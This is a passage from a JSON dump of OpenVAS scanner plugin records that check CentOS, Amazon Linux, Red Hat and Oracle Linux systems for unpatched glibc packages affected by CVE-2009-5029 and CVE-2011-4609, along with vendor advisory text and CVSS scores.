script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"CentOS6\")\n{\n\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-static\", rpm:\"glibc-static~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-07-24T12:51:07", "references": ["https://alas.aws.amazon.com/ALAS-2012-39.html"], "pluginID": "1361412562310120203", "description": "Amazon Linux Local Security Checks", "edition": 2, "reporter": "Eero Volotinen", "published": "2015-09-08T00:00:00", "title": "Amazon Linux Local Check: ALAS-2012-39", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "naslFamily": "Amazon Linux Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2017-07-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310120203", "id": "OPENVAS:1361412562310120203", "sourceData": "# OpenVAS Vulnerability Test \n# Description: Amazon Linux security check \n# $Id: alas-2012-39.nasl 6578 2017-07-06 13:44:33Z cfischer $\n \n# Authors: \n# Eero Volotinen <eero.volotinen@iki.fi> \n#\n# Copyright:\n# Copyright (c) 2015 Eero Volotinen, http://ping-viini.org \n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\nif(description)\n {\nscript_oid(\"1.3.6.1.4.1.25623.1.0.120203\");\nscript_version(\"$Revision: 6578 $\");\nscript_tag(name:\"creation_date\", value:\"2015-09-08 13:20:03 +0200 (Tue, 08 Sep 2015)\");\nscript_tag(name:\"last_modification\", value:\"$Date: 2017-07-06 15:44:33 +0200 (Thu, 06 Jul 2017) $\");\nscript_name(\"Amazon Linux Local Check: ALAS-2012-39\");\nscript_tag(name: \"insight\", value: \"An integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029 )A denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609 )\"); \nscript_tag(name : \"solution\", value : \"Run yum update glibc to update your system.\");\nscript_tag(name : \"solution_type\", value : \"VendorFix\");\nscript_xref(name : \"URL\" , value : \"https://alas.aws.amazon.com/ALAS-2012-39.html\");\nscript_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\nscript_tag(name:\"cvss_base\", value:\"6.8\");\nscript_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\nscript_tag(name:\"qod_type\", value:\"package\");\nscript_dependencies(\"gather-package-list.nasl\");\nscript_mandatory_keys(\"ssh/login/amazon_linux\", \"ssh/login/release\");\nscript_category(ACT_GATHER_INFO);\nscript_tag(name:\"summary\", value:\"Amazon Linux Local Security Checks\");\nscript_copyright(\"Eero Volotinen\");\nscript_family(\"Amazon Linux Local Security Checks\");\nexit(0);\n}\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\nrelease = get_kb_item(\"ssh/login/release\");\nres = \"\";\nif(release == NULL)\n{\n exit(0);\n}\nif(release == \"AMAZON\")\n{\nif ((res = isrpmvuln(pkg:\"glibc-debuginfo-common\", rpm:\"glibc-debuginfo-common~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif ((res = isrpmvuln(pkg:\"glibc-debuginfo\", rpm:\"glibc-debuginfo~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif ((res = isrpmvuln(pkg:\"glibc-static\", rpm:\"glibc-static~2.12~1.47.32.amzn1\", rls:\"AMAZON\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif (__pkg_match) exit(99); #Not vulnerable\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-04-06T11:17:20", "references": ["http://lists.centos.org/pipermail/centos-announce/2012-January/018397.html", "2012:0058"], "pluginID": "1361412562310881117", "description": "Check for the Version of glibc", "edition": 1, "reporter": "Copyright (c) 2012 Greenbone Networks GmbH", "published": "2012-07-30T00:00:00", "title": "CentOS Update for glibc CESA-2012:0058 centos6 ", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "CentOS Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310881117", "id": "OPENVAS:1361412562310881117", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# CentOS Update for glibc CESA-2012:0058 centos6 \n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The glibc packages contain the standard C libraries used by multiple\n programs on the system. These packages contain the standard C and the\n standard math libraries. Without these two libraries, a Linux system cannot\n function properly.\n\n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library read timezone files. If a\n carefully-crafted timezone file was loaded by an application linked against\n glibc, it could cause the application to crash or, potentially, execute\n arbitrary code with the privileges of the user running the application.\n (CVE-2009-5029)\n \n A denial of service flaw was found in the remote procedure call (RPC)\n implementation in glibc. A remote attacker able to open a large number of\n connections to an RPC service that is using the RPC implementation from\n glibc, could use this flaw to make that service use an excessive amount of\n CPU time. (CVE-2011-4609)\n \n This update also fixes the following bugs:\n \n * glibc had incorrect information for numeric separators and groupings for\n specific French, Spanish, and German locales. Therefore, applications\n utilizing glibc's locale support printed numbers with the wrong separators\n and groupings when those locales were in use. With this update, the\n separator and grouping information has been fixed. (BZ#754116)\n \n * The RHBA-2011:1179 glibc update introduced a regression, causing glibc to\n incorrectly parse groups with more than 126 members, resulting in\n applications such as &quot;id&quot; failing to list all the groups a particular user\n was a member of. With this update, group parsing has been fixed.\n (BZ#766484)\n \n * glibc incorrectly allocated too much memory due to a race condition\n within its own malloc routines. This could cause a multi-threaded\n application to allocate more memory than was expected. With this update,\n the race condition has been fixed, and malloc's behavior is now consistent\n with the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX\n environment variables. (BZ#769594)\n \n Users should upgrade to these updated packages, which contain backported\n patches to resolve these issues.\";\n\ntag_affected = \"glibc on CentOS 6\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.centos.org/pipermail/centos-announce/2012-January/018397.html\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.881117\");\n script_version(\"$Revision: 9352 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:13:02 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-07-30 16:12:09 +0530 (Mon, 30 Jul 2012)\");\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_xref(name: \"CESA\", value: \"2012:0058\");\n script_name(\"CentOS Update for glibc CESA-2012:0058 centos6 \");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of glibc\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"CentOS6\")\n{\n\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-static\", rpm:\"glibc-static~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.12~1.47.el6_2.5\", rls:\"CentOS6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-01-02T10:57:25", "references": ["https://www.redhat.com/archives/rhsa-announce/2012-January/msg00020.html", "2012:0058-01"], "pluginID": "870722", "description": "Check for the Version of glibc", "edition": 3, "reporter": "Copyright (c) 2012 Greenbone Networks GmbH", "published": "2012-07-09T00:00:00", "title": "RedHat Update for glibc RHSA-2012:0058-01", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "Red Hat Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2018-01-02T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=870722", "id": "OPENVAS:870722", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# RedHat Update for glibc RHSA-2012:0058-01\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The glibc packages contain the standard C libraries used by multiple\n programs on the system. These packages contain the standard C and the\n standard math libraries. Without these two libraries, a Linux system cannot\n function properly.\n\n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library read timezone files. If a\n carefully-crafted timezone file was loaded by an application linked against\n glibc, it could cause the application to crash or, potentially, execute\n arbitrary code with the privileges of the user running the application.\n (CVE-2009-5029)\n\n A denial of service flaw was found in the remote procedure call (RPC)\n implementation in glibc. A remote attacker able to open a large number of\n connections to an RPC service that is using the RPC implementation from\n glibc, could use this flaw to make that service use an excessive amount of\n CPU time. (CVE-2011-4609)\n\n This update also fixes the following bugs:\n\n * glibc had incorrect information for numeric separators and groupings for\n specific French, Spanish, and German locales. Therefore, applications\n utilizing glibc's locale support printed numbers with the wrong separators\n and groupings when those locales were in use. With this update, the\n separator and grouping information has been fixed. (BZ#754116)\n\n * The RHBA-2011:1179 glibc update introduced a regression, causing glibc to\n incorrectly parse groups with more than 126 members, resulting in\n applications such as &quot;id&quot; failing to list all the groups a particular user\n was a member of. With this update, group parsing has been fixed.\n (BZ#766484)\n\n * glibc incorrectly allocated too much memory due to a race condition\n within its own malloc routines. This could cause a multi-threaded\n application to allocate more memory than was expected. With this update,\n the race condition has been fixed, and malloc's behavior is now consistent\n with the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX\n environment variables. (BZ#769594)\n\n Users should upgrade to these updated packages, which contain backported\n patches to resolve these issues.\";\n\ntag_affected = \"glibc on Red Hat Enterprise Linux Desktop (v. 6),\n Red Hat Enterprise Linux Server (v. 6),\n Red Hat Enterprise Linux Workstation (v. 6)\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"https://www.redhat.com/archives/rhsa-announce/2012-January/msg00020.html\");\n script_id(870722);\n script_version(\"$Revision: 8267 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-01-02 07:29:17 +0100 (Tue, 02 Jan 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-07-09 10:53:27 +0530 (Mon, 09 Jul 2012)\");\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_xref(name: \"RHSA\", value: \"2012:0058-01\");\n script_name(\"RedHat Update for glibc RHSA-2012:0058-01\");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of glibc\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"Red Hat Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/rhel\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"RHENT_6\")\n{\n\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-debuginfo\", rpm:\"glibc-debuginfo~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-debuginfo-common\", rpm:\"glibc-debuginfo-common~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.12~1.47.el6_2.5\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-07-24T12:52:38", "references": ["http://linux.oracle.com/errata/ELSA-2012-0058.html"], "pluginID": "1361412562310122007", "description": "Oracle Linux Local Security Checks ELSA-2012-0058", "edition": 3, "reporter": "Eero Volotinen", "published": "2015-10-06T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "title": "Oracle Linux Local Check: ELSA-2012-0058", "type": "openvas", "naslFamily": "Oracle Linux Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2017-07-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310122007", "id": "OPENVAS:1361412562310122007", "sourceData": "# OpenVAS Vulnerability Test \n# Description: Oracle Linux Local Check \n# $Id: ELSA-2012-0058.nasl 6557 2017-07-06 11:55:33Z cfischer $\n \n# Authors: \n# Eero Volotinen <eero.volotinen@solinor.com> \n#\n# Copyright:\n# Copyright (c) 2015 Eero Volotinen, http://solinor.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\nif(description)\n {\nscript_oid(\"1.3.6.1.4.1.25623.1.0.122007\");\nscript_version(\"$Revision: 6557 $\");\nscript_tag(name:\"creation_date\", value:\"2015-10-06 14:11:36 +0300 (Tue, 06 Oct 2015)\");\nscript_tag(name:\"last_modification\", value:\"$Date: 2017-07-06 13:55:33 +0200 (Thu, 06 Jul 2017) $\");\nscript_name(\"Oracle Linux Local Check: ELSA-2012-0058\");\nscript_tag(name: \"insight\", value: \"ELSA-2012-0058 - glibc security and bug fix update - [2.12-1.47.el6_2.5]- Avoid high cpu usage when accept fails with EMFILE (#767692)[2.12-1.47.el6_2.4]- Make implementation of ARENAS_TEST and ARENAS_MAX match documentation (#769594)- Check malloc arena atomically (#769594)[2.12-1.47.el6_2.3]- Check values from TZ file header (#767692)[2.12-1.47.el6_2.2]- Correctly reparse group line after enlarging the buffer (#766484)[2.12-1.47.el6_2.1]- Fix grouping and reuse other locales in various locales (#754116)\"); \nscript_tag(name : \"solution\", value : \"update software\");\nscript_tag(name : \"solution_type\", value : \"VendorFix\");\nscript_tag(name : \"summary\", value : \"Oracle Linux Local Security Checks ELSA-2012-0058\");\nscript_xref(name : \"URL\" , value : \"http://linux.oracle.com/errata/ELSA-2012-0058.html\");\nscript_cve_id(\"CVE-2009-5029\",\"CVE-2011-4609\");\nscript_tag(name:\"cvss_base\", value:\"6.8\");\nscript_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\nscript_tag(name:\"qod_type\", value:\"package\");\nscript_dependencies(\"gather-package-list.nasl\");\nscript_mandatory_keys(\"ssh/login/oracle_linux\", \"ssh/login/release\");\nscript_category(ACT_GATHER_INFO);\nscript_copyright(\"Eero Volotinen\");\nscript_family(\"Oracle Linux Local Security Checks\");\nexit(0);\n}\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\nrelease = get_kb_item(\"ssh/login/release\");\nres = \"\";\nif(release == NULL)\n{\n exit(0);\n}\nif(release == \"OracleLinux6\")\n{\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.12~1.47.el6_2.5\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.12~1.47.el6_2.5\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.12~1.47.el6_2.5\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.12~1.47.el6_2.5\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"glibc-static\", rpm:\"glibc-static~2.12~1.47.el6_2.5\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.12~1.47.el6_2.5\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.12~1.47.el6_2.5\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n\n}\nif (__pkg_match) exit(99); #Not vulnerable\n exit(0);\n\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-07-24T12:52:21", "references": ["http://linux.oracle.com/errata/ELSA-2012-0126.html"], "pluginID": "1361412562310123990", "description": "Oracle Linux Local Security Checks ELSA-2012-0126", "edition": 3, "reporter": "Eero Volotinen", "published": "2015-10-06T00:00:00", "title": "Oracle Linux Local Check: ELSA-2012-0126", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 2.1}}, "naslFamily": "Oracle Linux Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2017-07-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310123990", "id": "OPENVAS:1361412562310123990", "sourceData": "# OpenVAS Vulnerability Test \n# Description: Oracle Linux Local Check \n# $Id: ELSA-2012-0126.nasl 6557 2017-07-06 11:55:33Z cfischer $\n \n# Authors: \n# Eero Volotinen <eero.volotinen@solinor.com> \n#\n# Copyright:\n# Copyright (c) 2015 Eero Volotinen, http://solinor.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\nif(description)\n {\nscript_oid(\"1.3.6.1.4.1.25623.1.0.123990\");\nscript_version(\"$Revision: 6557 $\");\nscript_tag(name:\"creation_date\", value:\"2015-10-06 14:11:17 +0300 (Tue, 06 Oct 2015)\");\nscript_tag(name:\"last_modification\", value:\"$Date: 2017-07-06 13:55:33 +0200 (Thu, 06 Jul 2017) $\");\nscript_name(\"Oracle Linux Local Check: ELSA-2012-0126\");\nscript_tag(name: \"insight\", value: \"ELSA-2012-0126 - glibc security update - [2.5-65.el5_7.3]- Use correct type when casting d_tag (#767687)- Report write error in addmnt even for cached streams (#767687)- ldd: Never run file directly (#767687).- Workaround misconfigured system (#767687)[2.5-65.el5_7.2]- Check values from TZ file header (#767687)\"); \nscript_tag(name : \"solution\", value : \"update software\");\nscript_tag(name : \"solution_type\", value : \"VendorFix\");\nscript_tag(name : \"summary\", value : \"Oracle Linux Local Security Checks ELSA-2012-0126\");\nscript_xref(name : \"URL\" , value : \"http://linux.oracle.com/errata/ELSA-2012-0126.html\");\nscript_cve_id(\"CVE-2009-5064\",\"CVE-2011-1089\",\"CVE-2010-0830\",\"CVE-2009-5029\",\"CVE-2011-4609\");\nscript_tag(name:\"cvss_base\", value:\"6.9\");\nscript_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:M/Au:N/C:C/I:C/A:C\");\nscript_tag(name:\"qod_type\", value:\"package\");\nscript_dependencies(\"gather-package-list.nasl\");\nscript_mandatory_keys(\"ssh/login/oracle_linux\", \"ssh/login/release\");\nscript_category(ACT_GATHER_INFO);\nscript_copyright(\"Eero Volotinen\");\nscript_family(\"Oracle Linux Local Security Checks\");\nexit(0);\n}\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\nrelease = get_kb_item(\"ssh/login/release\");\nres = \"\";\nif(release == NULL)\n{\n exit(0);\n}\nif(release == \"OracleLinux5\")\n{\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.5~65.el5_7.3\", rls:\"OracleLinux5\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.5~65.el5_7.3\", rls:\"OracleLinux5\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.5~65.el5_7.3\", rls:\"OracleLinux5\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = 